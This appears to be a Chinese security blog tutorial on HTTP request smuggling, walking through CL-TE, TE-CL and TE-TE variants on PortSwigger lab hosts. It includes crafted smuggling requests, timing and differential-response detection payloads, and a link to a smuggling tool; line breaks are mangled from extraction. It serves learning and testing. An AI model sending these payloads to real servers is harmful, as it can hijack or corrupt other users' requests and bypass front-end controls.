点击蓝字,关注我们
日期:2023-07-12 作者:yukong 介绍:一次请求走私漏洞的学习与实践。
0x00 前言
当前端服务器将HTTP
请求转发到后端服务器时,通常会通过同一个后端网络连接发送多个请求,因为这样效率更高且性能更高。协议非常简单:一个接一个地发送HTTP
请求,接收服务器解析HTTP
请求头来确定一个请求从哪里结束,下一个请求从哪里开始:
在这种情况下,前端和后端系统就请求之间的边界达成一致至关重要。否则,攻击者可能会发送一个模棱两可的请求,该请求会被前端和后端系统以不同的方式解释:
在这里,攻击者导致他们的部分前端请求被后端服务器解释为下一个请求的开始。它有效地放在下一个请求之前,因此会干扰应用程序处理该请求的方式。这种请求走私攻击,可能会造成毁灭性的后果。
0x01 请求走私漏洞产生原因
大多数HTTP
请求走私漏洞的出现是因为HTTP
规范提供了两种不同的方法来指定请求的结束位置:Content-Length
标头和Transfer-Encoding
标头。
Content-Length
标头:它指定消息体的以字节为单位的长度。例如:
POST
/search
HTTP/1.1
Host
: normal-website.com
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 11
q
=smuggling
Transfer-Encoding
标头可用于指定消息正文使用分块编码。这意味着消息正文包含一个或多个数据块。每个块由以字节为单位的块大小(以十六进制表示)、后跟换行符和块内容组成。消息以大小为零的块终止。例如:
POST
/search
HTTP/1.1
Host
: normal-website.com
Content-Type
: application/x-www-form-urlencoded
Transfer-Encoding
: chunked
b
q=smuggling
0
由于 HTTP
规范提供了两种不同的方法来指定 HTTP
消息的长度,因此一条消息可能会同时使用这两种方法,从而导致它们相互冲突。HTTP
规范试图通过声明如果 Content-Length
和Transfer-Encoding
标头都存在,则应忽略Content-Length
标头来防止出现此问题。当只有一个服务器在运行时,这可能足以避免歧义,但当两个或多个服务器链接在一起时就不行了。在这种情况下,出现问题的原因有两个:
- 某些服务器不支持
Transfer-Encoding
请求中的标头。 Transfer-Encoding
如果以某种方式混淆了标头,则可以诱导 某些支持标头的服务器不处理它。
如果前端和后端服务器对(可能混淆的)Transfer-Encoding
标头的行为不同,那么它们可能不同意连续请求之间的边界,从而导致请求走私漏洞。
0x02 请求走私漏洞类型介绍以及利用
接下来会通过portswigger
中的请求走私漏洞靶场对请求走私漏洞进行更详细的介绍和利用。以下为Content-Length
简称为CL
,Transfer-Encoding
简称为TE
。
2.1 CL不为0的GET请求
(1)前端代理服务器允许GET
请求携带请求体,但后端服务器不允许GET
请求携带请求体,则后端服务器会忽略掉GET
请求中的Content-Length
,不进行处理,从而导致请求走私,代码演示如下:
GET
/ HTTP/1.1rn
Host
:
example.comrn
:
44rn
GET
/ secret HTTP/1.1rn
Host
:
example.comrn
rn
(2)前端服务器收到该请求,通过读取Content-Length
,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length
进行处理,由于Pipeline
的存在,它就认为这是收到了两个请求。
2.2 CL-CL
(1)假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400
错误,但是中间代理服务器按照第一个Content-Length
的值对请求进行处理,而后端服务器按照第二个Content-Length
的值进行处理。这样有可能引发请求走私。
POST / HTTP/1.1rn
Host: example.comrn
Content-Length: 8rn
Content-Length: 7rn
12345rn
a
(2)前端代理服务器获取的数据包长度为 8
,将以上数据包完整转发至后端服务器,但后端服务器仅接收长度为7
的数据包。因此读取前7
个字符后,后端服务器认为本次请求已经读取完毕,然后返回响应。
(3)但此时缓冲区仍留下一个a
,对于后端服务器来讲,这个a
是下一个请求的一部分,但没传输完毕。如果此时传来一个请求:
GET
/
HTTP/1.1
HOST
: test.com
(4)那么前端服务器和后端服务器将重用TCP
连接,使后端实际接收的请求为:
aGET
/ HTTP/1.1
HOST
:
test.com
2.3 CL-TE
CL-TE
,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length
这一请求头,而后端服务器会遵守RFC2616
的规定,忽略掉Content-Length
,处理Transfer-Encoding
这一请求头。
chunk
传输数据格式如下,其中size
的值由16
进制表示:
[chunk size][rn][chunk data][rn][chunk size][rn][chunk data][rn][chunk size =
0
][rn][rn]
实验地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
(1)构造数据包:
POST / HTTP/1.1rn
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.netrn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
Accept-Language: en-US,en;q=0.5rn
Connection: keep-alivern
Content-Length: 6rn
Transfer-Encoding: chunkedrn
rn
0rn
rn
G
(2)连续发送几次请求可以获得响应:
(3)由于前端服务器处理Content-Length
,所以这个请求对于它来说是一个完整的请求,请求体的长度为6
,也就是
0rn
rn
G
(4)当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding
,当它读取到0rnrn
时,认为已经读取到结尾了,但是剩下的字母G
就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。
GPOST
/ HTTP/1.1rn
Host
:
ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.netrn
......
2.4 TE-CL
TE-CL
,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding
这一请求头,而后端服务器处理Content-Length
请求头。
实验地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
(1)构造数据包:
POST / HTTP/1.1rn
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.netrn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
Accept-Language: en-US,en;q=0.5rn
Content-Length: 4rn
Transfer-Encoding: chunkedrn
rn
12rn
GPOST / HTTP/1.1rn
rn
0rn
rn
(2)由于前端服务器处理Transfer-Encoding
,当其读取到0rnrn
时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length
请求头,当它读取完12rn
之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是
GPOST
/ HTTP/
1
.
1
rn
rn
0
rn
rn
2.5 TE-TE
TE-TE
,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding
请求头,这确实是实现了RFC
的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding
进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding
请求头。从某种意义上还是CL-TE
或者TE-CL
。
实验地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
(1)构造数据包
POST / HTTP/1.1rn
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.netrn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
Accept-Language: en-US,en;q=0.5rn
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8rn
Content-length: 4rn
Transfer-Encoding: chunkedrn
Transfer-encoding: cowrn
rn
5crn
GPOST / HTTP/1.1rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 15rn
rn
x=1rn
0rn
rn
需要rnrn
在后面加上尾随序列 0
。
0x03 HTTP请求走私漏洞检测方式
3.1 计时技术检测CL-TE漏洞
(1)如果应用程序容易受到请求走私的CL-TE
变体的攻击,则发送如下所示的请求通常会导致时间延迟:
POST
/
HTTP/1.1
Host
: vulnerable-website.com
Transfer-Encoding
: chunked
Content-Length
: 7
1
A
1
X
(2)由于前端服务器使用Content-Length
标头,因此它将仅转发此请求的一部分,而忽略X
。后端服务器使用Transfer-Encoding
标头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。
3.2 计时技术检测TE-CL漏洞
(1)如果应用程序容易受到TE-CL
变种的请求走私攻击,则发送如下所示的请求通常会导致时间延迟:
POST
/
HTTP/1.1
Host
: vulnerable-website.com
Transfer-Encoding
: chunked
Content-Length
: 6
0
X
(2)由于前端服务器使用Transfer-Encoding
标头,因此它将仅转发此请求的一部分,而忽略X
。后端服务器使用Content-Length
标头,期望消息正文中有更多内容,然后等待其余内容到达。这将导致明显的时间延迟。
(3)如果应用程序容易受到该漏洞的CL-TE
变体的攻击,则基于时间的TE-CL
漏洞测试可能会破坏其他应用程序用户。因此,要隐身并最大程度地减少中断,应该首先使用CL-TE
测试,只有在第一个测试失败的情况下才继续进行TE-CL
测试。
3.3 差异响应检测CL-TE漏洞
(1)构造数据包:
POST
/
HTTP/1.1
Host
: 0a8b00ea03ae99e98384238a0087000e.web-security-academy.net
User-Agent
: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Connection
: close
Referer
: https://0a8b00ea03ae99e98384238a0087000e.web-security-academy.net/
Upgrade-Insecure-Requests
: 1
Sec-Fetch-Dest
: document
Sec-Fetch-Mode
: navigate
Sec-Fetch-Site
: same-origin
Sec-Fetch-User
: ?1
Content-Length
: 23
Transfer-Encoding
: chunked
0
POST
/404 HTTP/1.1
(2)如果攻击成功,则后端服务器会将此请求的最后两行视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示:
POST
/404
HTTP/1.1
(3)由于此请求现在包含无效的URL
,因此服务器将以状态代码404
进行响应,攻击请求确实对其进行了干扰。如下图:
3.4 差异响应检测TE-CL漏洞
(1)构造如下请求包 (需要rnrn
在final
后面加上尾随序列0
):
POST
/
HTTP/1.1
Host
: 0ad600ed03a42efb80952b65007a003a.web-security-academy.net
User-Agent
: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Content-Type
: application/x-www-form-urlencoded
Connection
: keep-alive
Content-Length
: 4
Transfer-Encoding
: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
(2)如果攻击成功,则后端服务器将从GPOST / HTTP/1.1
开始将所有内容视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示:
0x04 请求走私工具分享
请求走私工具:https://github.com/anshumanpattnaik/http-request-smuggling
0x05 总结
当今的 Web
应用程序经常在用户和最终应用程序逻辑之间使用 HTTP
服务器链。用户将请求发送到前端服务器(有时称为负载平衡器或反向代理),此服务器将请求转发到一个或多个后端服务器。这种类型的体系结构在现代基于云的应用程序中越来越普遍,因此测试过程中请求走私漏洞往往会带来意想不到收获。
参考文章
原文始发于微信公众号(宸极实验室):『漏洞复现』请求走私漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论